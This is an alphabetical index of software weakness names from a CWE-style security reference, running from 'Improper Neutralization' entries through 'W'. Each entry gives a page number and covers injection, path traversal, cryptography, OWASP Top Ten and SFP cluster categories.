- Improper Neutralization of Special Elements, 285
- Improper Neutralization of Special Elements in Data Query Logic, 1369
- Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), 113
- Improper Neutralization of Special Elements used in a Command ('Command Injection'), 117
- Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'), 1344
- Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'), 169
- Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), 121
- Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), 159
- Improper Neutralization of Substitution Characters, 305
- Improper Neutralization of Trailing Special Elements, 319
- Improper Neutralization of Value Delimiters, 290
- Improper Neutralization of Variable Name Delimiters, 307
- Improper Neutralization of Whitespace, 309
- Improper Neutralization of Wildcards or Matching Symbols, 308
- Improper Null Termination, 328
- Improper Output Neutralization for Logs, 223
- Improper Ownership Management, 497
- Improper Preservation of Permissions, 496
- Improper Privilege Management, 477
- Improper Protection of Alternate Path, 727
- Improper Release of Memory Before Removing Last Reference ('Memory Leak'), 694
- Improper Resolution of Path Equivalence, 73
- Improper Resource Locking, 713
- Improper Resource Shutdown or Release, 699
- Improper Restriction of Communication Channel to Intended Endpoints, 1349
- Improper Restriction of Excessive Authentication Attempts, 541
- Improper Restriction of Names for Files and Other Resources, 991
- Improper Restriction of Operations within the Bounds of a Memory Buffer, 226
- Improper Restriction of Power Consumption, 1347
- Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'), 1190
- Improper Restriction of XML External Entity Reference ('XXE'), 958
- Improper Synchronization, 1024
- Improper Update of Reference Count, 1335
- Improper Validation of Array Index, 258
- Improper Validation of Certificate Expiration, 527
- Improper Validation of Certificate with Host Mismatch, 525
- Improper Validation of Function Hook Arguments, 970
- Improper Validation of Integrity Check Value, 618
- Improper Verification of Cryptographic Signature, 604
- Improper Verification of Intent by Broadcast Receiver, 1351
- Improper Verification of Source of a Communication Channel, 1364
- Improperly Controlled Modification of Dynamically-Determined Object Attributes, 1339
- Improperly Implemented Security Check for Standard, 621
- Inadequate Encryption Strength, 571
- Inadvertently Introduced Weakness, 860
- Inappropriate Encoding for Output Context, 1277

- Inclusion of Functionality from Untrusted Control Sphere, 1262
  - Inclusion of Web Functionality from an Untrusted Source, 1267
  - Incomplete Blacklist, 352
  - Incomplete Blacklist to Cross-Site Scripting, 1073
  - Incomplete Cleanup, 775
  - Incomplete Filtering of Multiple Instances of Special Elements, 1216
  - Incomplete Filtering of One or More Instances of Special Elements, 1214
  - Incomplete Filtering of Special Elements, 1214
  - Incomplete Identification of Uploaded File Variables (PHP), 963
  - Incomplete Internal State Distinction, 651
  - Incomplete Model of Endpoint Features, 751
  - Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling'), 756
  - Incorrect Authorization, 1304
  - Incorrect Behavior Order, 1077
  - Incorrect Behavior Order: Authorization Before Parsing and Canonicalization, 889
  - Incorrect Behavior Order: Early Amplification, 707
  - Incorrect Behavior Order: Early Validation, 345
  - Incorrect Behavior Order: Validate Before Canonicalize, 347
  - Incorrect Behavior Order: Validate Before Filter, 349
  - Incorrect Block Delimitation, 815
  - Incorrect Calculation, 1060
  - Incorrect Calculation of Buffer Size, 269
  - Incorrect Calculation of Multi-Byte String Length, 282
  - Incorrect Check of Function Return Value, 451
  - Incorrect Control Flow Scoping, 1105
  - Incorrect Conversion between Numeric Types, 1058
  - Incorrect Default Permissions, 490
  - Incorrect Execution-Assigned Permissions, 494
  - Incorrect Implementation of Authentication Algorithm, 535
  - Incorrect Ownership Assignment, 1108
  - Incorrect Permission Assignment for Critical Resource, 1121
  - Incorrect Pointer Scaling, 786
  - Incorrect Privilege Assignment, 471
  - Incorrect Provision of Specified Functionality, 1065
  - Incorrect Regular Expression, 355
  - Incorrect Resource Transfer Between Spheres, 1036
  - Incorrect Semantic Object Comparison, 938
  - Incorrect Short Circuit Evaluation, 1173
  - Incorrect Synchronization, 1250
  - Incorrect Type Conversion or Cast, 1104
  - Incorrect Use of Privileged APIs, 1004
  - Incorrect User Management, 507
  - Incorrectly Specified Destination in a Communication Channel, 1366
  - Indicator of Poor Code Quality, 684
  - Information Exposure, 384
  - Information Exposure of Internal State Through Behavioral Inconsistency, 395
  - Information Exposure Through an Error Message, 397
  - Information Exposure Through an External Behavioral Inconsistency, 396
  - Information Exposure Through Behavioral Discrepancy, 394
  - Information Exposure Through Browser Caching, 867
  - Information Exposure Through Caching, 866
  - Information Exposure Through Cleanup Log Files, 881
  - Information Exposure Through Comments, 962
  - Information Exposure Through Debug Information, 409
  - Information Exposure Through Debug Log Files, 874
  - Information Exposure Through Directory Listing, 887
  - Information Exposure Through Discrepancy, 389
  - Information Exposure Through Environmental Variables, 868
  - Information Exposure Through Externally-generated Error Message, 403
  - Information Exposure Through Include Source Code, 880
  - Information Exposure Through Indexing of Private Data, 960
  - Information Exposure Through Java Runtime Error Message, 876
  - Information Exposure Through Log Files, 872
  - Information Exposure Through Persistent Cookies, 878
  - Information Exposure Through Process Environment, 408
  - Information Exposure Through Query Strings in GET Request, 939
  - Information Exposure Through Self-generated Error Message, 402
  - Information Exposure Through Sent Data, 387
  - Information Exposure Through Server Error Message, 888
  - Information Exposure Through Server Log Files, 873
  - Information Exposure Through Servlet Runtime Error Message, 875
  - Information Exposure Through Shell Error Message, 874
  - Information Exposure Through Source Code, 879
  - Information Exposure Through Test Code, 871
  - Information Exposure Through Timing Discrepancy, 396
  - Information Exposure Through WSDL File, 1008
  - Information Loss or Omission, 413
  - Information Management Errors, 384
  - Initialization and Cleanup Errors, 766
  - Insecure Default Variable Initialization, 766
  - Insecure Inherited Permissions, 492
  - Insecure Preserved Inherited Permissions, 493
  - Insecure Storage of Sensitive Information, 1349
  - Insecure Temporary File, 655
  - Insufficient Comparison, 1078
  - Insufficient Compartmentalization, 1011
  - Insufficient Control Flow Management, 1072
  - Insufficient Control of Network Message Volume (Network Amplification), 704
  - Insufficient Encapsulation, 819
  - Insufficient Entropy, 586
  - Insufficient Entropy in PRNG, 587
  - Insufficient Logging, 1193
  - Insufficient Psychological Acceptability, 1014
  - Insufficient Resource Pool, 709
  - Insufficient Session Expiration, 960
  - Insufficient Type Distinction, 610
  - Insufficient UI Warning of Dangerous Operations, 621
  - Insufficient Verification of Data Authenticity, 600
  - Insufficiently Protected Credentials, 862
  - Integer Coercion Error, 368
  - Integer Overflow or Wraparound, 361
  - Integer Overflow to Buffer Overflow, 1057
  - Integer Underflow (Wrap or Wraparound), 367
  - Intentional Information Exposure, 407
  - Intentionally Introduced Nonmalicious Weakness, 857
  - Intentionally Introduced Weakness, 850
  - Interaction Error, 748
  - Interpretation Conflict, 749
- ## J
- J2EE Bad Practices: Direct Management of Connections, 435
  - J2EE Bad Practices: Direct Use of Sockets, 437
  - J2EE Bad Practices: Direct Use of Threads, 662
  - J2EE Bad Practices: Non-serializable Object Stored in Session, 919
  - J2EE Bad Practices: Use of System.exit(), 661

- J2EE Environment Issues, 2
  - J2EE Framework: Saving Unserializable Objects to Disk, 935
  - J2EE Misconfiguration: Data Transmission Without Encryption, 2
  - J2EE Misconfiguration: Entity Bean Declared Remote, 6
  - J2EE Misconfiguration: Insufficient Session-ID Length, 3
  - J2EE Misconfiguration: Missing Custom Error Page, 5
  - J2EE Misconfiguration: Plaintext Password in Configuration File, 892
  - J2EE Misconfiguration: Weak Access Permissions for EJB Methods, 7
  - J2EE Time and State Issues, 661
- K**
- Key Exchange without Entity Authentication, 567
  - Key Management Errors, 564
- L**
- Lack of Administrator Control over Security, 1038
  - Least Privilege Violation, 482
  - Leftover Debug Code, 824
  - Location, 1
  - Logging of Excessive Data, 1194
  - Logic/Time Bomb, 856
  - Loop with Unreachable Exit Condition ('Infinite Loop'), 1273
- M**
- Mac Virtual File Problems, 106
  - Misinterpretation of Input, 217
  - Mismatched Memory Management Routines, 1162
  - Missing Authentication for Critical Function, 537
  - Missing Authorization, 1299
  - Missing Check for Certificate Revocation after Initial Check, 649
  - Missing Critical Step in Authentication, 535
  - Missing Custom Error Page, 1151
  - Missing Default Case in Switch Statement, 804
  - Missing Encryption of Sensitive Data, 548
  - Missing Handler, 739
  - Missing Initialization of a Variable, 770
  - Missing Initialization of Resource, 1332
  - Missing Lock Check, 716
  - Missing Password Field Masking, 887
  - Missing Reference to Active Allocated Resource, 1182
  - Missing Reference to Active File Descriptor or Handle, 1187
  - Missing Release of File Descriptor or Handle after Effective Lifetime, 1189
  - Missing Release of Resource after Effective Lifetime, 1183
  - Missing Report of Error Condition, 677
  - Missing Required Cryptographic Step, 570
  - Missing Standardized Error Handling Mechanism, 883
  - Missing Support for Integrity Check, 616
  - Missing Synchronization, 1249
  - Missing Validation of OpenSSL Certificate, 940
  - Missing XML Validation, 210
  - Mobile Code Issues, 826
  - Modification of Assumed-Immutable Data (MAID), 792
  - Motivation/Intent, 850
  - Multiple Binds to the Same Port, 951
  - Multiple Interpretations of UI Input, 762
  - Multiple Locks of a Critical Resource, 1168
  - Multiple Unlocks of a Critical Resource, 1169
- N**
- Named Chains, 1109 (*Graph: 1460*)
  - .NET Environment Issues, 860
  - .NET Misconfiguration: Use of Impersonation, 861
  - Non-exit on Failed Initialization, 769
  - Non-Replicating Malicious Code, 853
  - Not Failing Securely ('Failing Open'), 983
  - Not Using a Random IV with CBC Mode, 580
  - Not Using Complete Mediation, 986
  - Not Using Password Aging, 466
  - Null Byte Interaction Error (Poison Null Byte), 974
  - NULL Pointer Dereference, 798
  - Numeric Errors, 360
  - Numeric Range Comparison Without Minimum Check, 1279
  - Numeric Truncation Error, 381
- O**
- Object Model Violation: Just One of Equals and Hashcode Defined, 921
  - Obscured Security-relevant Information by Alternate Name, 416
  - Obsolete Feature in UI, 761
  - Off-by-one Error, 371
  - Often Misused: Arguments and Parameters, 894
  - Often Misused: String Management, 445
  - Omission of Security-relevant Information, 414
  - Omitted Break Statement in Switch, 817
  - Only Filtering One Instance of a Special Element, 1215
  - Only Filtering Special Elements at a Specified Location, 1217
  - Only Filtering Special Elements at an Absolute Position, 1219
  - Only Filtering Special Elements Relative to a Marker, 1218
  - Operation on a Resource after Expiration or Release, 1039
  - Operation on Resource in Wrong Phase of Lifetime, 1031
  - Operator Precedence Logic Error, 1200
  - Origin Validation Error, 602
  - Other Intentional, Nonmalicious Weakness, 860
  - Out-of-bounds Read, 253
  - Out-of-bounds Write, 1207
  - Overly Permissive Cross-domain Whitelist, 1367
  - Overly Restrictive Account Lockout Mechanism, 1000
  - Overly Restrictive Regular Expression, 356
  - OWASP Top Ten 2004 Category A1 - Unvalidated Input, 1116
  - OWASP Top Ten 2004 Category A10 - Insecure Configuration Management, 1120
  - OWASP Top Ten 2004 Category A2 - Broken Access Control, 1116
  - OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management, 1117
  - OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws, 1118
  - OWASP Top Ten 2004 Category A5 - Buffer Overflows, 1118
  - OWASP Top Ten 2004 Category A6 - Injection Flaws, 1118
  - OWASP Top Ten 2004 Category A7 - Improper Error Handling, 1119
  - OWASP Top Ten 2004 Category A8 - Insecure Storage, 1119
  - OWASP Top Ten 2004 Category A9 - Denial of Service, 1120
  - OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS), 1111
  - OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access, 1115
  - OWASP Top Ten 2007 Category A2 - Injection Flaws, 1112
  - OWASP Top Ten 2007 Category A3 - Malicious File Execution, 1112
  - OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference, 1113



- OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF), 1113
- OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling, 1114
- OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management, 1114
- OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage, 1114
- OWASP Top Ten 2007 Category A9 - Insecure Communications, 1115
- OWASP Top Ten 2010 Category A1 - Injection, 1245
- OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards, 1248
- OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS), 1246
- OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management, 1246
- OWASP Top Ten 2010 Category A4 - Insecure Direct Object References, 1246
- OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF), 1247
- OWASP Top Ten 2010 Category A6 - Security Misconfiguration, 1247
- OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage, 1247
- OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access, 1248
- OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection, 1248
- OWASP Top Ten 2013 Category A1 - Injection, 1358
- OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards, 1361
- OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management, 1358
- OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS), 1359
- OWASP Top Ten 2013 Category A4 - Insecure Direct Object References, 1359
- OWASP Top Ten 2013 Category A5 - Security Misconfiguration, 1359
- OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure, 1360
- OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control, 1360
- OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF), 1361
- OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities, 1361
- P**
- Partial Comparison, 357
- Passing Mutable Objects to an Untrusted Method, 652
- Password Aging with Long Expiration, 467
- Password in Configuration File, 463
- Path Equivalence: ' filename' (Leading Space), 81
- Path Equivalence: './' (Single Dot Directory), 87
- Path Equivalence: '//multiple/leading/slash', 83
- Path Equivalence: '/multiple//internal/slash', 84
- Path Equivalence: '/multiple/trailing/slash//', 85
- Path Equivalence: '\multiple\internal\backslash', 86
- Path Equivalence: 'fakedir/./readdir/filename', 89
- Path Equivalence: 'file name' (Internal Whitespace), 82
- Path Equivalence: 'fildir\*' (Wildcard), 88
- Path Equivalence: 'fildir\' (Trailing Backslash), 86
- Path Equivalence: 'filename' (Trailing Space), 80
- Path Equivalence: 'file.name' (Internal Dot), 79
- Path Equivalence: 'file...name' (Multiple Internal Dot), 80
- Path Equivalence: 'filename....' (Multiple Trailing Dot), 79
- Path Equivalence: 'filename.' (Trailing Dot), 78
- Path Equivalence: 'filename/' (Trailing Slash), 83
- Path Equivalence: Windows 8.3 Filename, 90
- Path Traversal: '....' (Multiple Dot), 58
- Path Traversal: '...' (Triple Dot), 57
- Path Traversal: '....//', 60
- Path Traversal: '...//..', 62
- Path Traversal: './filedir', 46
- Path Traversal: '/absolute/pathname/here', 67
- Path Traversal: '/dir../filename', 48
- Path Traversal: './filedir', 45
- Path Traversal: '\.filename', 52
- Path Traversal: '\\UNC\share\name\' (Windows UNC Share), 72
- Path Traversal: '\absolute\pathname\here', 68
- Path Traversal: '\dir..\filename', 54
- Path Traversal: '..filedir', 51
- Path Traversal: 'C:dirname', 70
- Path Traversal: 'dir/./../filename', 49
- Path Traversal: 'dir\..\filename', 55
- Pathname Traversal and Equivalence Errors, 29
- Permission Issues, 488
- Permission Race Condition During Resource Copy, 1070
- Permissions, Privileges, and Access Controls, 468
- Permissive Regular Expression, 973
- Permissive Whitelist, 352
- PHP External Variable Modification, 796
- Placement of User into Incorrect Group, 1286
- Plaintext Storage of a Password, 454
- Pointer Issues, 782
- Predictability Problems, 596
- Predictable Exact Value from Previous Values, 597
- Predictable from Observable State, 596
- Predictable Seed in PRNG, 592
- Predictable Value Range from Previous Values, 598
- Premature Release of Resource During Expected Lifetime, 1257
- Private Array-Typed Field Returned From A Public Method, 838
- Privilege / Sandbox Issues, 469
- Privilege Chaining, 475
- Privilege Context Switching Error, 479
- Privilege Defined With Unsafe Actions, 773
- Privilege Dropping / Lowering Errors, 480
- PRNG Seed Error, 591
- Process Control, 215
- Product UI does not Warn User of Unsafe Actions, 620
- Protection Mechanism Failure, 1074
- Public cloneable() Method Without Final ('Object Hijack'), 826
- Public Data Assigned to Private Array-Typed Field, 839
- Public Static Field Not Marked Final, 845
- Public Static Final Field References Mutable Object, 953
- R**
- Race Condition During Access to Alternate Channel, 724
- Race Condition Enabling Link Following, 633
- Race Condition in Switch, 639
- Race Condition within a Thread, 640
- Reachable Assertion, 964
- Reflection Attack in an Authentication Protocol, 532
- Regular Expression without Anchors, 1192
- Relative Path Traversal, 40
- Release of Invalid Pointer or Reference, 1164
- Reliance on a Single Factor in a Security Decision, 1012
- Reliance on Cookies without Validation and Integrity Checking, 901
- Reliance on Cookies without Validation and Integrity Checking in a Security Decision, 1202
- Reliance on Data/Memory Layout, 359

- Reliance on File Name or Extension of Externally-Supplied File, 1002
  - Reliance on IP Address for Authentication, 517
  - Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking, 1006
  - Reliance on Package-level Scope, 822
  - Reliance on Reverse DNS Resolution for a Security-Critical Action, 608
  - Reliance on Security Through Obscurity, 1015
  - Reliance on Undefined, Unspecified, or Implementation-Defined Behavior, 1153
  - Reliance on Untrusted Inputs in a Security Decision, 1239
  - Replicating Malicious Code (Virus or Worm), 854
  - Representation Errors, 284
  - Research Concepts, 1402 (*Graph: 1496*)
  - Resource Locking Problems, 710
  - Resource Management Errors, 686
  - Resource-specific Weaknesses, 980 (*Graph: 1428*)
  - Response Discrepancy Information Exposure, 392
  - Return Inside Finally Block, 924
  - Return of Pointer Value Outside of Expected Range, 783
  - Return of Stack Variable Address, 898
  - Return of Wrong Status Code, 678
  - Returning a Mutable Object to an Untrusted Caller, 654
  - Reusing a Nonce, Key Pair in Encryption, 568
  - Reversible One-Way Hash, 578
- S**
- Same Seed in PRNG, 591
  - Security Features, 452
  - Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), 1152
  - Sensitive Cookie in HTTPS Session Without 'Secure' Attribute, 961
  - Sensitive Data Storage in Improperly Locked Memory, 932
  - Sensitive Data Under FTP Root, 412
  - Sensitive Data Under Web Root, 412
  - Sensitive Information Uncleared Before Release, 417
  - Serializable Class Containing Sensitive Data, 844
  - Server-Side Request Forgery (SSRF), 1345
  - Session Fixation, 663
  - Seven Pernicious Kingdoms, 1081 (*Graph: 1458*)
  - SFP Primary Cluster: Access Control, 1327
  - SFP Primary Cluster: API, 1323
  - SFP Primary Cluster: Authentication, 1326
  - SFP Primary Cluster: Channel, 1328
  - SFP Primary Cluster: Cryptography, 1328
  - SFP Primary Cluster: Entry Points, 1326
  - SFP Primary Cluster: Exception Management, 1324
  - SFP Primary Cluster: Information Leak, 1326
  - SFP Primary Cluster: Malware, 1329
  - SFP Primary Cluster: Memory Access, 1324
  - SFP Primary Cluster: Memory Management, 1325
  - SFP Primary Cluster: Other, 1330
  - SFP Primary Cluster: Path Resolution, 1325
  - SFP Primary Cluster: Predictability, 1329
  - SFP Primary Cluster: Privilege, 1328
  - SFP Primary Cluster: Resource Management, 1325
  - SFP Primary Cluster: Risky Values, 1323
  - SFP Primary Cluster: Synchronization, 1325
  - SFP Primary Cluster: Tainted Input, 1326
  - SFP Primary Cluster: UI, 1329
  - SFP Primary Cluster: Unused entities, 1323
  - SFP Secondary Cluster: Access Management, 1370
  - SFP Secondary Cluster: Ambiguous Exception Type, 1375
  - SFP Secondary Cluster: Architecture, 1382
  - SFP Secondary Cluster: Authentication Bypass, 1371
  - SFP Secondary Cluster: Broken Cryptography, 1375
  - SFP Secondary Cluster: Channel Attack, 1374
  - SFP Secondary Cluster: Compiler, 1382
  - SFP Secondary Cluster: Covert Channel, 1380
  - SFP Secondary Cluster: Design, 1382
  - SFP Secondary Cluster: Digital Certificate, 1372
  - SFP Secondary Cluster: Exposed Data, 1377
  - SFP Secondary Cluster: Exposure Temporary File, 1378
  - SFP Secondary Cluster: Failed Chroot Jail, 1383
  - SFP Secondary Cluster: Failure to Release Resource, 1385
  - SFP Secondary Cluster: Faulty Buffer Access, 1380
  - SFP Secondary Cluster: Faulty Endpoint Authentication, 1372
  - SFP Secondary Cluster: Faulty Input Transformation, 1390
  - SFP Secondary Cluster: Faulty Memory Release, 1380
  - SFP Secondary Cluster: Faulty Pointer Use, 1381
  - SFP Secondary Cluster: Faulty Resource Use, 1385
  - SFP Secondary Cluster: Faulty String Expansion, 1381
  - SFP Secondary Cluster: Feature, 1392
  - SFP Secondary Cluster: Glitch in Computation, 1393
  - SFP Secondary Cluster: Hardcoded Sensitive Data, 1372
  - SFP Secondary Cluster: Implementation, 1383
  - SFP Secondary Cluster: Improper NULL Termination, 1381
  - SFP Secondary Cluster: Incorrect Buffer Length Computation, 1381
  - SFP Secondary Cluster: Incorrect Exception Behavior, 1376
  - SFP Secondary Cluster: Incorrect Input Handling, 1391
  - SFP Secondary Cluster: Information Loss, 1392
  - SFP Secondary Cluster: Insecure Authentication Policy, 1373
  - SFP Secondary Cluster: Insecure Resource Access, 1371
  - SFP Secondary Cluster: Insecure Resource Permissions, 1371
  - SFP Secondary Cluster: Insecure Session Management, 1379
  - SFP Secondary Cluster: Life Cycle, 1386
  - SFP Secondary Cluster: Link in Resource Name Resolution, 1384
  - SFP Secondary Cluster: Missing Authentication, 1373
  - SFP Secondary Cluster: Missing Endpoint Authentication, 1373
  - SFP Secondary Cluster: Missing Lock, 1386
  - SFP Secondary Cluster: Multiple Binds to the Same Port, 1374
  - SFP Secondary Cluster: Multiple Locks/Unlocks, 1387
  - SFP Secondary Cluster: Other Exposures, 1379
  - SFP Secondary Cluster: Path Traversal, 1384
  - SFP Secondary Cluster: Protocol Error, 1374
  - SFP Secondary Cluster: Race Condition Window, 1387
  - SFP Secondary Cluster: Security, 1392
  - SFP Secondary Cluster: State Disclosure, 1379
  - SFP Secondary Cluster: Tainted Input to Command, 1388
  - SFP Secondary Cluster: Tainted Input to Environment, 1390
  - SFP Secondary Cluster: Tainted Input to Variable, 1391
  - SFP Secondary Cluster: Unchecked Status Condition, 1376
  - SFP Secondary Cluster: Unexpected Entry Points, 1404
  - SFP Secondary Cluster: Unrestricted Authentication, 1374
  - SFP Secondary Cluster: Unrestricted Consumption, 1386
  - SFP Secondary Cluster: Unrestricted Lock, 1387
  - SFP Secondary Cluster: Use of an Improper API, 1403
  - SFP Secondary Cluster: Weak Cryptography, 1375
  - Signal Errors, 668
  - Signal Handler Function Associated with Multiple Signals, 1268
  - Signal Handler Race Condition, 635
  - Signal Handler Use of a Non-reentrant Function, 807



- Signal Handler with Functionality that is not Asynchronous-Safe, 1259
  - Signed to Unsigned Conversion Error, 377
  - Small Seed Space in PRNG, 595
  - Small Space of Random Values, 589
  - Software Fault Pattern (SFP) Clusters, 1323 (*Graph: 1478*)
  - Source Code, 17
  - Spyware, 857
  - SQL Injection: Hibernate, 900
  - Stack-based Buffer Overflow, 242
  - State Issues, 650
  - Storage of Sensitive Data in a Mechanism without Access Control, 1348
  - Storing Passwords in a Recoverable Format, 456
  - String Errors, 277
  - Struts Validation Problems, 193
  - Struts: Duplicate Validation Forms, 193
  - Struts: Form Bean Does Not Extend Validation Class, 196
  - Struts: Form Field Without Validator, 198
  - Struts: Incomplete validate() Method Definition, 194
  - Struts: Non-private Field in ActionForm Class, 954
  - Struts: Plug-in Framework not in Use, 200
  - Struts: Unused Validation Form, 202
  - Struts: Unvalidated Action Form, 204
  - Struts: Validator Turned Off, 205
  - Struts: Validator Without Form Field, 206
  - Suspicious Comment, 885
  - Symbolic Name not Mapping to Correct Object, 667
- T**
- Technology-specific Environment Issues, 1
  - Technology-Specific Input Validation Problems, 192
  - Technology-Specific Special Elements, 327
  - Technology-Specific Time and State Issues, 661
  - Temporary File Issues, 655
  - The UI Performs the Wrong Action, 761
  - Time and State, 626
  - Time-of-check Time-of-use (TOCTOU) Race Condition, 642
  - Transmission of Private Resources into a New Sphere ('Resource Leak'), 697
  - Trapdoor, 854
  - Trojan Horse, 852
  - Truncation of Security-relevant Information, 414
  - Trust Boundary Violation, 846
  - Trust of System Event Data, 625
  - Trusting HTTP Permission Methods on the Server Side, 1007
  - Type Errors, 284
- U**
- UI Discrepancy for Security Feature, 759
  - Uncaught Exception, 438
  - Uncaught Exception in Servlet, 941
  - Unchecked Error Condition, 675
  - Unchecked Input for Loop Condition, 953
  - Unchecked Return Value, 446
  - Unchecked Return Value to NULL Pointer Dereference, 1071
  - Uncontrolled Format String, 277
  - Uncontrolled Memory Allocation, 1211
  - Uncontrolled Recursion, 1042
  - Uncontrolled Resource Consumption ('Resource Exhaustion'), 688
  - Uncontrolled Search Path Element, 733
  - Undefined Behavior for Input to API, 797
  - Unexpected Sign Extension, 375
  - Unexpected Status Code or Return Value, 679
  - Unimplemented or Unsupported Feature in UI, 760
  - Unintended Proxy or Intermediary ('Confused Deputy'), 753
  - UNIX Hard Link, 96
  - UNIX Path Link Problems, 94
  - UNIX Symbolic Link (Symlink) Following, 95
  - Unlock of a Resource that is not Locked, 1270
  - Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism'), 985
  - Unparsed Raw Web Content Delivery, 741
  - Unprotected Alternate Channel, 723
  - Unprotected Primary Channel, 723
  - Unprotected Transport of Credentials, 865
  - Unprotected Windows Messaging Channel ('Shatter'), 725
  - Unquoted Search Path or Element, 736
  - Unrestricted Externally Accessible Lock, 711
  - Unrestricted Upload of File with Dangerous Type, 742
  - Unsafe ActiveX Control Marked Safe For Scripting, 971
  - Unsigned to Signed Conversion Error, 380
  - Unsynchronized Access to Shared Data in a Multithreaded Context, 903
  - Untrusted Pointer Dereference, 1250
  - Untrusted Search Path, 729
  - Unverified Ownership, 498
  - Unverified Password Change, 967
  - URL Redirection to Untrusted Site ('Open Redirect'), 942
  - Use After Free, 719
  - Use of a Broken or Risky Cryptographic Algorithm, 573
  - Use of a Key Past its Expiration Date, 569
  - Use of a Non-reentrant Function in a Concurrent Context, 1025
  - Use of a One-Way Hash with a Predictable Salt, 1157
  - Use of a One-Way Hash without a Salt, 1153
  - Use of Client-Side Authentication, 950
  - Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG), 593
  - Use of Dynamic Class Loading, 884
  - Use of Expired File Descriptor, 1334
  - Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), 789
  - Use of Function with Inconsistent Implementations, 797
  - Use of getlogin() in Multithreaded Application, 893
  - Use of Hard-coded Credentials, 1219
  - Use of Hard-coded Cryptographic Key, 565
  - Use of Hard-coded Password, 459
  - Use of Hard-coded, Security-relevant Constants, 885
  - Use of Implicit Intent for Sensitive Communication, 1354
  - Use of Incorrect Byte Ordering, 383
  - Use of Incorrect Operator, 809
  - Use of Incorrectly-Resolved Name or Reference, 1106
  - Use of Inherently Dangerous Function, 431
  - Use of Inner Class Containing Sensitive Data, 827
  - Use of Insufficiently Random Values, 581
  - Use of Invariant Value in Dynamically Changing Context, 599
  - Use of Less Trusted Source, 605
  - Use of Low-Level Functionality, 1077
  - Use of Multiple Resources with Duplicate Identifier, 1076
  - Use of Non-Canonical URL Paths for Authorization Decisions, 1003
  - Use of NullPointerException Catch to Detect NULL Pointer Dereference, 680
  - Use of Obsolete Functions, 802
  - Use of Out-of-range Pointer Offset, 1252
  - Use of Password Hash Instead of Password for Authentication, 1275
  - Use of Password Hash With Insufficient Computational Effort, 1341
  - Use of Password System for Primary Authentication, 545

- Use of Path Manipulation Function without Maximum-sized Buffer, 1204
- Use of Pointer Subtraction to Determine Size, 788
- Use of Potentially Dangerous Function, 1044
- Use of RSA Algorithm without OAEP, 1195
- Use of Single-factor Authentication, 544
- Use of Singleton Pattern Without Synchronization in a Multithreaded Context, 882
- Use of sizeof() on a Pointer Type, 784
- Use of umask() with chmod-style Argument, 895
- Use of Uninitialized Resource, 1330
- Use of Uninitialized Variable, 773
- Use of Wrong Operator in String Comparison, 938
- User Interface (UI) Misrepresentation of Critical Information, 763
- User Interface Errors, 759
- User Interface Security Issues, 619
- Using Referer Field for Authentication, 518

**V**

- Variable Extraction Error, 969
- Violation of Secure Design Principles, 1017

**W**

- Weak Cryptography for Passwords, 464
- Weak Password Recovery Mechanism for Forgotten Password, 989
- Weak Password Requirements, 861
- Weakness Base Elements, 1047
- Weaknesses Addressed by the CERT C Secure Coding Standard, 1130 (*Graph: 1464*)
- Weaknesses Addressed by the CERT C++ Secure Coding Standard, 1310 (*Graph: 1475*)
- Weaknesses Addressed by the CERT Java Secure Coding Standard, 1290 (*Graph: 1472*)
- Weaknesses Examined by SAMATE, 980
- Weaknesses in Mobile Applications, 1346
- Weaknesses in OWASP Top Ten (2004), 1110 (*Graph: 1461*)
- Weaknesses in OWASP Top Ten (2007), 979 (*Graph: 1426*)
- Weaknesses in OWASP Top Ten (2010), 1244 (*Graph: 1470*)
- Weaknesses in OWASP Top Ten (2013), 1357 (*Graph: 1494*)
- Weaknesses in Software Written in C, 1018
- Weaknesses in Software Written in C++, 1020
- Weaknesses in Software Written in Java, 1022
- Weaknesses in Software Written in PHP, 1023
- Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors, 1141 (*Graph: 1467*)
- Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors, 1227 (*Graph: 1468*)
- Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors, 1327 (*Graph: 1492*)
- Weaknesses Introduced During Design, 1082
- Weaknesses Introduced During Implementation, 1090
- Weaknesses that Affect Files or Directories, 981
- Weaknesses that Affect Memory, 981
- Weaknesses that Affect System Processes, 982
- Weaknesses Used by NVD, 983
- Weaknesses without Software Fault Patterns, 1393
- Web Problems, 755
- Windows Hard Link, 100
- Windows Path Link Problems, 98
- Windows Shortcut Following (.LNK), 98
- Windows Virtual File Problems, 104
- Wrap-around Error, 257
- Write-what-where Condition, 248

**X**

